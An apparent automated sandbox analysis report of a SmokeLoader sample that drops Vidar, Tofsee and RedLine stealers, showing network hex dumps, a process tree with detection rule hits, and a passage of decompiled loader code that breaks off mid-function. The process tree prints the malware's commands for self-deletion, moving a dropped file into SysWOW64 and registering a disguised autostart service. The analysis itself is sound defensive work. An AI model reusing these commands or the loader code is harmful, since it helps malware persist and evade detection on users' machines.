2021-12-31 18:13:31 UTC	2074	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f ff ff ff ff ff ff ff ff f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1f ff ff ff ff ff ff ff ff f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f ff ff ff ff ff ff ff ff f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f ff ff ff ff ff ff ff ff e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff ff ff ff ff ff ff ff c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 ff ff ff ff ff ff ff ff 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 ff ff ff ff ff ff ff ff 00 00 00 Data Ascii:
2021-12-31 18:13:31 UTC	2082	IN	Data Raw: 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 98 75 10 ff d6 c8 9e ff ff ff ff ff ff ff ff 8f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 9f ff ff ff ff ba a3 5f ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff a5 87 2f ff ac 91 3f ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff ba a3 5f ff ff ff ff Data Ascii: llllllllllllu_llllllllllll/?llllllllllllll_
2021-12-31 18:13:31 UTC	2090	IN	Data Raw: ff 80 00 00 01 ff 00 00 ff 00 00 00 00 ff 00 00 fe 00 00 00 00 7f 00 00 fc 00 00 00 00 3f 00 00 f8 00 00 00 00 1f 00 00 f0 00 00 00 00 0f 00 00 e0 00 00 00 00 07 00 00 e0 00 00 00 00 07 00 00 c0 00 00 00 00 03 00 00 c0 00 00 00 00 03 00 00 80 00 00 00 00 01 00 00 80 00 00 00 00 01 00 00 80 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 00 01 00 00 80 00 00 00 00 01 00 00 80 00 00 00 00 01 00 00 c0 00 00 00 00 03 00 00 c0 00 00 00 00 03 00 Data Ascii: ?
2021-12-31 18:13:31 UTC	2098	IN	Data Raw: 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff f1 ed df ff ff ff ff 8f ff ff ff 20 ff ff ff ff c1 ac 6f ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff f8 f6 ef ff c1 ac 6f ff ac 91 3f ff c9 b5 7f ff f8 f6 ef ff ff ff ff ff d6 c8 9e ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff c1 ac 6f ff ff ff ff ff ff ff ff 20 00 00 00 00 ff ff ff 8f f8 f6 ef ff a5 87 2f ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff f1 ed df ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb e4 cf ff 98 75 10 ff 91 6c 00 ff 91 6c 00 ff a5 87 2f ff f8 f6 ef ff ff ff ff 8f 00 00 00 00 00 00 00 00 ff ff ff 10 ff ff ff cf f8 f6 ef ff a5 87 2f ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff ac 91 3f ff c9 b5 7f ff c9 b5 7f ff b3 9a 4f ff 91 6c 00 ff 91 6c 00 ff 91 6c 00 ff a5 87 2f ff f8 f6 ef ff ff ff ff Data Ascii: llll ollllo?lllo /lllull//lll?Olll/
2021-12-31 18:13:31 UTC	2106	IN	Data Raw: c4 3c ca 3e ce 3e d2 3e d6 3e 70 3f 74 3f 78 3f 7c 3f b0 3f bc 3f c8 3f d4 3f e0 3f ec 3f f8 3f 00 10 02 00 4c 01 00 00 04 30 10 30 1c 30 28 30 34 30 40 30 4c 30 58 30 64 30 70 30 7c 30 88 30 94 30 a0 30 ac 30 b8 30 c4 30 d0 30 dc 30 e8 30 f4 30 00 31 0c 31 18 31 24 31 30 31 3c 31 48 31 54 31 60 31 6c 31 78 31 84 31 90 31 9c 31 a8 31 b4 31 c0 31 cc 31 d8 31 e4 31 f0 31 fc 31 08 32 14 32 20 32 2c 32 38 32 44 32 50 32 5c 32 68 32 74 32 80 32 8c 32 98 32 a4 32 b0 32 c0 32 cc 32 d8 32 e4 32 f0 32 fc 32 08 33 14 33 20 33 2c 33 38 33 44 33 50 33 5c 33 68 33 74 33 80 33 8c 33 98 33 a4 33 b0 33 bc 33 c8 33 84 3d 8c 3d 94 3d 9c 3d a4 3d ac 3d b4 3d bc 3d c4 3d cc 3d d4 3d dc 3d e4 3d ec 3d f4 3d fc 3d 04 3e 0c 3e 14 3e 1c 3e 24 3e 2c 3e 34 3e 3c 3e 44 3e 4c 3e 54 Data Ascii: <>>>>p?t?x?\|????????L000(040@0L0X0d0p0\|00000000000111$101<1H1T1`1l1x11111111111122 2,282D2P2\2h2t22222222222233 3,383D3P3\3h3t33333333================>>>>$>,>4><>D>L>T

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: GJXZRPhgm4.exe PID: 6196 Parent PID: 5740

General

Start time:	19:11:55
Start date:	31/12/2021
Path:	C:\Users\user\Desktop\GJXZRPhgm4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\GJXZRPhgm4.exe"
Imagebase:	0x400000
File size:	347136 bytes
MD5 hash:	4EB8AAA41FC2EF6FDC3432CC47C09C66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: GJXZRPhgm4.exe PID: 6588 Parent PID: 6196

General

Start time:	19:11:57
Start date:	31/12/2021
Path:	C:\Users\user\Desktop\GJXZRPhgm4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\GJXZRPhgm4.exe"
Imagebase:	0x400000
File size:	347136 bytes
MD5 hash:	4EB8AAA41FC2EF6FDC3432CC47C09C66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.331948331.0000000000580000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.332115128.00000000022F1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 4364 Parent PID: 572

General

Start time:	19:11:59
Start date:	31/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6276 Parent PID: 572

General

Start time:	19:11:59
Start date:	31/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3128 Parent PID: 572

General

Start time:	19:12:00
Start date:	31/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 5708 Parent PID: 572

General

Start time:	19:12:00
Start date:	31/12/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff677cb0000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6216 Parent PID: 572

General

Start time:	19:12:01
Start date:	31/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6644 Parent PID: 572

General

Start time:	19:12:01
Start date:	31/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 3352 Parent PID: 6588

General

Start time:	19:12:03
Start date:	31/12/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff720ea0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000000.323021841.0000000004DE1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3932 Parent PID: 572

General

Start time:	19:12:19
Start date:	31/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5916 Parent PID: 572

General

Start time:	19:12:32
Start date:	31/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: aafjaea PID: 2208 Parent PID: 664

General

Start time:	19:12:37
Start date:	31/12/2021
Path:	C:\Users\user\AppData\Roaming\aafjaea
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\aafjaea
Imagebase:	0x400000
File size:	347136 bytes
MD5 hash:	4EB8AAA41FC2EF6FDC3432CC47C09C66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: aafjaea PID: 1904 Parent PID: 2208

General

Start time:	19:12:39
Start date:	31/12/2021
Path:	C:\Users\user\AppData\Roaming\aafjaea
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\aafjaea
Imagebase:	0x400000
File size:	347136 bytes
MD5 hash:	4EB8AAA41FC2EF6FDC3432CC47C09C66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.386841887.0000000000570000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.386885797.00000000005A1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 2928 Parent PID: 572

General

Start time:	19:12:42
Start date:	31/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: B7EC.exe PID: 5812 Parent PID: 3352

General

Start time:	19:12:49
Start date:	31/12/2021
Path:	C:\Users\user\AppData\Local\Temp\B7EC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B7EC.exe
Imagebase:	0x400000
File size:	347136 bytes
MD5 hash:	4EB8AAA41FC2EF6FDC3432CC47C09C66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: B7EC.exe PID: 5580 Parent PID: 5812

General

Start time:	19:12:52
Start date:	31/12/2021
Path:	C:\Users\user\AppData\Local\Temp\B7EC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B7EC.exe
Imagebase:	0x400000
File size:	347136 bytes
MD5 hash:	4EB8AAA41FC2EF6FDC3432CC47C09C66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000002.412129013.0000000000580000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000002.412155343.00000000005A1000.00000004.00020000.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: C376.exe PID: 6592 Parent PID: 3352

General

Start time:	19:12:53
Start date:	31/12/2021
Path:	C:\Users\user\AppData\Local\Temp\C376.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C376.exe
Imagebase:	0x400000
File size:	350720 bytes
MD5 hash:	A181F86F7191ED7680953213C7239305
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: CF8D.exe PID: 1068 Parent PID: 3352

General

Start time:	19:12:56
Start date:	31/12/2021
Path:	C:\Users\user\AppData\Local\Temp\CF8D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\CF8D.exe
Imagebase:	0x400000
File size:	347648 bytes
MD5 hash:	AD639AA5FF468BA6F8A7503FD5BF89BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000019.00000003.408911426.0000000000880000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: D80A.exe PID: 3044 Parent PID: 3352

General

Start time:	19:12:58
Start date:	31/12/2021
Path:	C:\Users\user\AppData\Local\Temp\D80A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D80A.exe
Imagebase:	0xd20000
File size:	537600 bytes
MD5 hash:	7FCE0E163EA7948C10B044B1EA77DAD9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001A.00000002.445057312.0000000004191000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 3452 Parent PID: 6216

General

Start time:	19:13:01
Start date:	31/12/2021
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff79c280000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5032 Parent PID: 3452

General

Start time:	19:13:02
Start date:	31/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6424 Parent PID: 1068

General

Start time:	19:13:06
Start date:	31/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\ecrnzymb\
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 2368 Parent PID: 6424

General

Start time:	19:13:07
Start date:	31/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: D80A.exe PID: 5456 Parent PID: 3044

General

Start time:	19:13:08
Start date:	31/12/2021
Path:	C:\Users\user\AppData\Local\Temp\D80A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D80A.exe
Imagebase:	0x660000
File size:	537600 bytes
MD5 hash:	7FCE0E163EA7948C10B044B1EA77DAD9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000024.00000002.514940284.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000024.00000000.438801599.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000024.00000000.439520195.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000024.00000000.440164320.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000024.00000000.440612043.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: cmd.exe PID: 6552 Parent PID: 6592

General

Start time:	19:13:09
Start date:	31/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\C376.exe" & exit
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 2016 Parent PID: 6552

General

Start time:	19:13:09
Start date:	31/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4624 Parent PID: 1068

General

Start time:	19:13:09
Start date:	31/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\ackjzztq.exe" C:\Windows\SysWOW64\ecrnzymb\
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: timeout.exe PID: 5688 Parent PID: 6552

General

Start time:	19:13:09
Start date:	31/12/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0xdf0000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4244 Parent PID: 4624

General

Start time:	19:13:09
Start date:	31/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 460 Parent PID: 1068

General

Start time:	19:13:12
Start date:	31/12/2021
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\sc.exe" create ecrnzymb binPath= "C:\Windows\SysWOW64\ecrnzymb\ackjzztq.exe /d\"C:\Users\user\AppData\Local\Temp\CF8D.exe\"" type= own start= auto DisplayName= "wifi support
Imagebase:	0x130000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 3408 Parent PID: 460

General

Start time:	19:13:12
Start date:	31/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: GJXZRPhgm4.exe PID: 6196 Parent PID: 5740 GJXZRPhgm4.exeCOMMON

Executed Functions

Function 0041C74C, Relevance: 182.5, APIs: 85, Strings: 19, Instructions: 464
timememorystringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0041C74C(void* __ebx, void* __edx) {
				short _v8;
				long _v12;
				void* _v14;
				long _v16;
				void _v20;
				long _v24;
				void* _v40;
				struct _OVERLAPPED _v44;
				struct _CRITICAL_SECTION _v48;
				struct _FILETIME _v56;
				struct _FILETIME _v64;
				struct _CRITICAL_SECTION _v88;
				intOrPtr _v92;
				char _v96;
				char _v272;
				void _v1296;
				void _v2320;
				short _v3344;
				char _v4368;
				short _v5392;
				void _v6416;
				short _v7440;
				void* __ebp;
				intOrPtr _t61;
				CHAR* _t63;
				intOrPtr _t84;
				void* _t177;
				void* _t179;
				void* _t181;
				void* _t182;
				void* _t185;
				void* _t186;
				void* _t188;
				void* _t190;
				void* _t191;
				intOrPtr _t223;
				void* _t224;

				_t185 = __edx;
				_t177 = __ebx;
				E00421A00(0x1d0c);
				_t198 =  *0x773824 - 0x177;
				if( *0x773824 == 0x177) {
					E00420D80(_t198, 0x772e20, 0xa04, 0, 0, 0);
					E00424840(_t182, 0);
					E00424890(0);
					E004245E0(_t182, 0, 0);
					_push(1);
					_push(3);
					_t183 =  &_v272;
					E0041E2EB( &_v272, _t185);
					E00424560(0);
					E00424360( &_v272, 0);
					E00424330(_t183, 0, 0);
					E00424310(0);
					_t63 = E0041E1D9( &_v272);
				}
				_push(_t177);
				_v8 = 0;
				L3:
				L3:
				if( *0x773824 == 0x47) {
					GetBinaryTypeA("vefedaruyakocafojohimadihayunapejerihacuma",  &_v20);
					SetCurrentDirectoryW(0);
					Process32FirstW(0, 0);
					EnterCriticalSection( &_v48);
					QueryDosDeviceA(0,  &_v4368, 0);
					__imp__TerminateJobObject(0, _v20);
					GlobalAddAtomA("menimotonanojemem");
					UnlockFile(0, 0, 0, 0, 0);
					FreeResource(0);
					GetFullPathNameA(0, 0,  &_v6416, 0);
					__imp__FindNextVolumeMountPointA(0,  &_v1296, 0);
					GetCompressedFileSizeA("Ras",  &_v24);
					_v16 = 0;
					asm("stosw");
					FillConsoleOutputCharacterA(0, 0, 0, _v16,  &_v12);
					SetNamedPipeHandleState(0, 0, 0, 0);
					lstrcpynA( &_v2320, 0, 0);
					FatalAppExitW(0, 0);
					__imp__GetConsoleAliasesLengthA(0);
					GetProcessTimes(0, 0, 0, 0, 0);
					__imp__ChangeTimerQueueTimer(0, 0, 0, 0);
					SetWaitableTimer(0, 0, 0, 0, 0, 0);
					FindClose(0);
					CancelDeviceWakeupRequest(0);
					SignalObjectAndWait(0, 0, 0, 0);
					GlobalReAlloc(0, 0, 0);
					_t63 = OpenMutexA(0, 0, "hupezigisilegurazemalugisif");
				}
				if(_v8 == 0x69d) {
					goto L8;
				}
				_v8 = _v8 + 1;
				if(_v8 < 0x1133661) {
					goto L3;
				} else {
				}
				L9:
				_t186 = 0;
				do {
					if(_t186 < 0x5e3) {
						GetLastError();
					}
					if( *0x773824 == 0x6b) {
						_t63 = HeapFree(0, 0, 0);
					}
					 *0x772e10 = 0;
					if(_t186 > 0x26f25 && _v12 != 0xdfe68a && _v92 != 0xdf59ea &&  *0x773824 == 0xfc5) {
						GetComputerNameW( &_v3344,  &_v12);
						_t63 = OpenMutexA(0, 0, "buvamisom");
					}
					_t186 = _t186 + 1;
				} while (_t186 < 0x17635b17);
				_t179 = 0;
				do {
					if(_t179 == 0x3fa) {
						 *0x773824 =  *0x773824 + 0x12336;
					}
					if( *0x773824 == 0x65) {
						TlsAlloc();
						LoadLibraryW(L"mirel");
						GetConsoleScreenBufferInfo(0, 0);
						FreeEnvironmentStringsA(0);
						GetWriteWatch(0, 0, 0, 0, 0, 0);
						GetDevicePowerState(0, 0);
						_v44.Internal = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						TransactNamedPipe(0, 0, 0,  &_v2320, 0,  &_v12,  &_v44);
						__imp__GetConsoleAliasExesLengthA();
						__imp__GetConsoleAliasA(0,  &_v1296, 0, 0);
						GetConsoleCP();
						LockFileEx(0, 0, 0, 0, 0, 0);
						VerLanguageNameA(0,  &_v6416, 0);
						_t63 = lstrcpyA( &_v4368, "Vidizotina tufurig warixolefulig");
						__imp__SetFileShortNameW(0, 0);
					}
					_t179 = _t179 + 1;
				} while (_t179 < 0x485ceb);
				E0041C4FB(_t63);
				_t188 = 0x56a5e7;
				do {
					if( *0x773824 == 0x105) {
						GetThreadLocale();
					}
					_t188 = _t188 - 1;
				} while (_t188 != 0);
				_v8 = 0;
				do {
					if( *0x773824 == 0xfd) {
						FreeEnvironmentStringsW(0);
					}
					if(_v8 == 0x3c58) {
						_t84 =  *0x44a680; // 0x3f8c4a
						 *0x773828 = _t84;
					}
					if( *0x773824 == 0x23) {
